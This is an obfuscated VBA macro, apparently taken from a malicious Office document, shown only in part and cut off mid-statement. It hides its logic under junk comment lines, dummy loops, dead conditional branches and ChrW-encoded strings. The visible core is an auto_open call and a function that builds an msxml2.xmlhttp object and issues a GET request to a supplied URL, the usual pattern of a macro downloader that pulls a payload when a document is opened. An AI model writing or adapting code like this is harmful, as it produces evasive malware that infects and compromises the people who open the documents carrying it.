'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next kfsupocl 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq ffpaewza = 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While ffpaewza < 59 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim jcjqqifr As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For jcjqqifr = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next jcjqqifr 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: ffpaewza = ffpaewza + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ohavezwj As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ohavezwj = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ohavezwj 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim inuzrzqz As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For inuzrzqz = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next inuzrzqz 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(106) & ChrW(104) & ChrW(120) & ChrW(108) & ChrW(113) & ChrW(114) & ChrW(110) & ChrW(101) & ChrW(49) & ChrW(57)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If Len(ChrW(117) & ChrW(110) & ChrW(99) & ChrW(97) & ChrW(115) & ChrW(102) & ChrW(104) & ChrW(115) & ChrW(52) & ChrW(56) & ChrW(53) & ChrW(54)) = Len(ChrW(112) & ChrW(114) & ChrW(110) & ChrW(102) & ChrW(109) & ChrW(115) & ChrW(102) & ChrW(108)) Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim rlfsyyhu As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ivozocwt As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ivozocwt = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ivozocwt 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq rlfsyyhu = 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While rlfsyyhu < 78 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ibyfkmyd As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ibyfkmyd = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ibyfkmyd 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: rlfsyyhu = rlfsyyhu + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim djzefjwh As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For djzefjwh = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next djzefjwh 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim xhyqeylk As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For xhyqeylk = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next xhyqeylk 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim jbzuqkee As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim lhxzvkls As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For lhxzvkls = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next lhxzvkls 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq jbzuqkee = 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While jbzuqkee < 78 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim gponkmfb As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For gponkmfb = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next gponkmfb 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: jbzuqkee = jbzuqkee + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim mzygfhez As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For mzygfhez = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next mzygfhez 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim rcrltszh As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For rcrltszh = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next rcrltszh 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq auto_open 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End Sub 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Function gigcposgjkk(ByVal dbdylzzldfq As String, ByVal ebwqwtjzaph As String) As Boolean 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim kderacuvhjh As Object, ushtvwqoohy As Long, qefgzsywkju As Long, wratuzwqhxh() As Byte 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 847911 = 847911 + 1 Then End 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 5238 < 55 Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim rjcetspi As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim qiupopzu As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For qiupopzu = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next qiupopzu 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq rjcetspi = 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While rjcetspi < 93 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim lddikoyv As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For lddikoyv = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next lddikoyv 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: rjcetspi = rjcetspi + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim xlxnsefx As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For xlxnsefx = 0 To 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next xlxnsefx 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim jcjkcufd As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For jcjkcufd = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next jcjkcufd 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(107) & ChrW(117) & ChrW(105) & ChrW(98) & ChrW(122) & ChrW(122) & ChrW(100) & ChrW(97) & ChrW(51) & ChrW(56)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If Len(ChrW(108) & ChrW(115) & ChrW(117) & ChrW(103) & ChrW(120) & ChrW(97) & ChrW(99) & ChrW(110) & ChrW(56) & ChrW(52) & ChrW(57) & ChrW(50)) = Len(ChrW(100) & ChrW(121) & ChrW(116) & ChrW(109) & ChrW(106) & ChrW(117) & ChrW(113) & ChrW(102)) Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim uywopofw As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim vaxvlyon As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For vaxvlyon = 0 To 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next vaxvlyon 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq uywopofw = 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While uywopofw < 88 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim mykhtpoh As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For mykhtpoh = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next mykhtpoh 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: uywopofw = uywopofw + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim piiehzuw As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For piiehzuw = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next piiehzuw 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim yubdhahz As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For yubdhahz = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next yubdhahz 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim kwkcixym As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim meexccgp As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For meexccgp = 0 To 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next meexccgp 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq kwkcixym = 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While kwkcixym < 16 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ajlisfyi As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ajlisfyi = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ajlisfyi 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: kwkcixym = kwkcixym + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim rlvjnpnd As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For rlvjnpnd = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next rlvjnpnd 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim zyfzsrrx As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For zyfzsrrx = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next zyfzsrrx 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Set kderacuvhjh = CreateObject(ChrW(109) & ChrW(115) & ChrW(120) & ChrW(109) & ChrW(108) & ChrW(50) & ChrW(46) & ChrW(120) & ChrW(109) & ChrW(108) & ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq kderacuvhjh.Open ChrW(71) & ChrW(69) & ChrW(84), dbdylzzldfq, False 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 175195 = 175195 + 1 Then End 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 4441 < 19 Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim txxglubg As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim adovpixc As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For adovpixc = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next adovpixc 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq txxglubg = 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While txxglubg < 53 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim uzvfsoyj As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For uzvfsoyj = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next uzvfsoyj 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: txxglubg = txxglubg + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim okfncyll As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For okfncyll = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next okfncyll 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim fhfzjswv As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For fhfzjswv = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next fhfzjswv 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(119) & ChrW(102) & ChrW(103) & ChrW(109) & ChrW(103) & ChrW(98) & ChrW(108) & ChrW(113) & ChrW(50) & ChrW(52)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If Len(ChrW(115) & ChrW(98) & ChrW(106) & ChrW(122) & ChrW(104) & ChrW(111) & ChrW(111) & ChrW(108) & ChrW(55) & ChrW(55) & ChrW(49) & ChrW(52)) = Len(ChrW(102) & ChrW(122) & ChrW(109) & ChrW(103) & ChrW(98) & ChrW(117) & ChrW(111) & ChrW(110)) Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim twefhtor As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim rlvdlbhw As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For rlvdlbhw = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next rlvdlbhw 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq twefhtor = 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While twefhtor < 81 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim 